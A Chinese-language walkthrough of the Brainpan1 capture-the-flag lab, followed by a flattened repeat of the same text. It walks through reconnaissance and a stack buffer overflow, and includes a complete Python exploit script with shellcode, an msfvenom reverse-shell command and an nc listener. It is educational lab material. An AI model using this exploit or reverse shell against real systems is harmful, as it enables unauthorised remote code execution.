打靶日记——Brainpan1
字数 1136 2025-08-29 08:29:41

Brainpan1 靶机渗透教学文档

1. 靶机概述

Brainpan1 是一个经典的渗透测试靶机,主要考察缓冲区溢出漏洞利用技术。该靶机运行了一个自定义的 Windows 可执行程序,通过分析该程序的漏洞来获取系统权限。

2. 信息收集阶段

2.1 主机发现

使用工具:nmapnetdiscoverarp-scan

nmap -sn 192.168.1.0/24

2.2 端口扫描

扫描结果:

  • 端口 9999:未知服务
  • 端口 10000:HTTP 服务 (Python 实现)
nmap -sV -sC -p- 192.168.1.100

2.3 Web 服务枚举

访问 10000 端口 HTTP 服务:

  • 页面显示无意义的图片和垃圾话
  • 使用目录扫描工具发现隐藏目录
gobuster dir -u http://192.168.1.100:10000 -w /path/to/wordlist.txt

发现 /bin 目录,其中包含一个可执行文件 brainpan.exe

3. 文件分析

3.1 下载并检查 brainpan.exe

wget http://192.168.1.100:10000/bin/brainpan.exe

文件属性:

  • 32 位 Windows 可执行文件
  • 未加壳
  • 使用 strings 命令发现疑似密码的字符串

3.2 运行程序测试

在 Windows 环境中运行:

  • 程序监听一个端口
  • 连接后显示菜单界面
  • 输入字符会被记录

4. 漏洞分析

4.1 缓冲区溢出漏洞

  1. 使用 nc 连接 9999 端口
  2. 尝试输入长字符串测试缓冲区溢出
  3. 观察程序崩溃行为
nc 192.168.1.100 9999

4.2 漏洞利用步骤

  1. 确定偏移量

    • 使用模式字符串生成工具 (如 msf-pattern_create)
    • 发送模式字符串使程序崩溃
    • 检查 EIP 值确定偏移量
  2. 检查坏字符

    • 发送包含所有可能的字节
    • 观察哪些字符导致异常
  3. 查找 JMP ESP 指令

    • 使用 mona 或其他工具在程序或系统 DLL 中查找
    • 计算返回地址
  4. 生成 shellcode

    • 使用 msfvenom 生成反向 shell
    • 避开坏字符
msfvenom -p windows/shell_reverse_tcp LHOST=your_ip LPORT=4444 -f python -b "\x00"
  1. 构造 payload
    • [偏移量填充] + [JMP ESP 地址] + [NOP sled] + [shellcode]

5. 漏洞利用

5.1 利用脚本示例

import socket
import struct

host = "192.168.1.100"
port = 9999

# 偏移量
offset = 524

# JMP ESP 地址 (示例,需根据实际情况修改)
jmp_esp = struct.pack("<I", 0x311712F3)

# NOP sled
nops = "\x90" * 16

# Shellcode (示例)
shellcode = (
    "\xdb\xc0\xd9\x74\x24\xf4\x5a\x29\xc9\xb1\x12\x31\x42\x17\x03"
    "\x42\x17\x83\xc2\x04\x32\xe2\xe9\xf4\xa3\x0b\x7a\x05\xcb\x9d"
    "\x3f\xe8\x4c\x3e\x4b\x4a\x0f\x40\x1a\x4a\xa3\xa3\x53\x1b\x44"
    "\x2b\x36\x4c\xd3\x5d\x9f\x63\x5c\xeb\xf9\x4a\x5e\x6b\x3a\x0d"
    "\xdc\x72\x8c\xad\x0f\xbc\x6d\x76\x8e\x3f\x03\x0d\x61\x3f\xa3"
    "\x81\x07\x75\x7f\x29\x54\x75\xc7\xce\xa7\x74\x58\x9e\xd8\xf6"
    "\x1b\x20\x4d\x6f\x7b"
)

payload = "A" * offset + jmp_esp + nops + shellcode

try:
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((host, port))
    s.send(payload + "\n")
    s.close()
except:
    print "Error connecting to server"

5.2 获取反向 shell

  1. 在攻击机上设置监听:
nc -lvnp 4444
  1. 运行 exploit 脚本
  2. 获取 shell 后提升权限

6. 总结

  1. 通过信息收集发现异常端口和服务
  2. 下载并分析可疑的可执行文件
  3. 识别缓冲区溢出漏洞
  4. 计算偏移量和查找返回地址
  5. 生成并发送精心构造的 payload
  6. 获取系统权限

7. 防御建议

  1. 对用户输入进行严格验证
  2. 使用现代编译器的安全特性 (/GS, DEP, ASLR)
  3. 实现输入长度限制
  4. 定期进行安全审计和渗透测试

8. 扩展学习

  1. Windows 缓冲区溢出原理
  2. 结构化异常处理 (SEH) 利用
  3. Return-oriented programming (ROP)
  4. 现代缓解技术及其绕过方法
Brainpan1 靶机渗透教学文档 1. 靶机概述 Brainpan1 是一个经典的渗透测试靶机,主要考察缓冲区溢出漏洞利用技术。该靶机运行了一个自定义的 Windows 可执行程序,通过分析该程序的漏洞来获取系统权限。 2. 信息收集阶段 2.1 主机发现 使用工具: nmap 、 netdiscover 或 arp-scan 2.2 端口扫描 扫描结果: 端口 9999:未知服务 端口 10000:HTTP 服务 (Python 实现) 2.3 Web 服务枚举 访问 10000 端口 HTTP 服务: 页面显示无意义的图片和垃圾话 使用目录扫描工具发现隐藏目录 发现 /bin 目录,其中包含一个可执行文件 brainpan.exe 3. 文件分析 3.1 下载并检查 brainpan.exe 文件属性: 32 位 Windows 可执行文件 未加壳 使用 strings 命令发现疑似密码的字符串 3.2 运行程序测试 在 Windows 环境中运行: 程序监听一个端口 连接后显示菜单界面 输入字符会被记录 4. 漏洞分析 4.1 缓冲区溢出漏洞 使用 nc 连接 9999 端口 尝试输入长字符串测试缓冲区溢出 观察程序崩溃行为 4.2 漏洞利用步骤 确定偏移量 : 使用模式字符串生成工具 (如 msf-pattern_create ) 发送模式字符串使程序崩溃 检查 EIP 值确定偏移量 检查坏字符 : 发送包含所有可能的字节 观察哪些字符导致异常 查找 JMP ESP 指令 : 使用 mona 或其他工具在程序或系统 DLL 中查找 计算返回地址 生成 shellcode : 使用 msfvenom 生成反向 shell 避开坏字符 构造 payload : [ 偏移量填充] + [ JMP ESP 地址] + [ NOP sled] + [ shellcode ] 5. 漏洞利用 5.1 利用脚本示例 5.2 获取反向 shell 在攻击机上设置监听: 运行 exploit 脚本 获取 shell 后提升权限 6. 总结 通过信息收集发现异常端口和服务 下载并分析可疑的可执行文件 识别缓冲区溢出漏洞 计算偏移量和查找返回地址 生成并发送精心构造的 payload 获取系统权限 7. 防御建议 对用户输入进行严格验证 使用现代编译器的安全特性 (/GS, DEP, ASLR) 实现输入长度限制 定期进行安全审计和渗透测试 8. 扩展学习 Windows 缓冲区溢出原理 结构化异常处理 (SEH) 利用 Return-oriented programming (ROP) 现代缓解技术及其绕过方法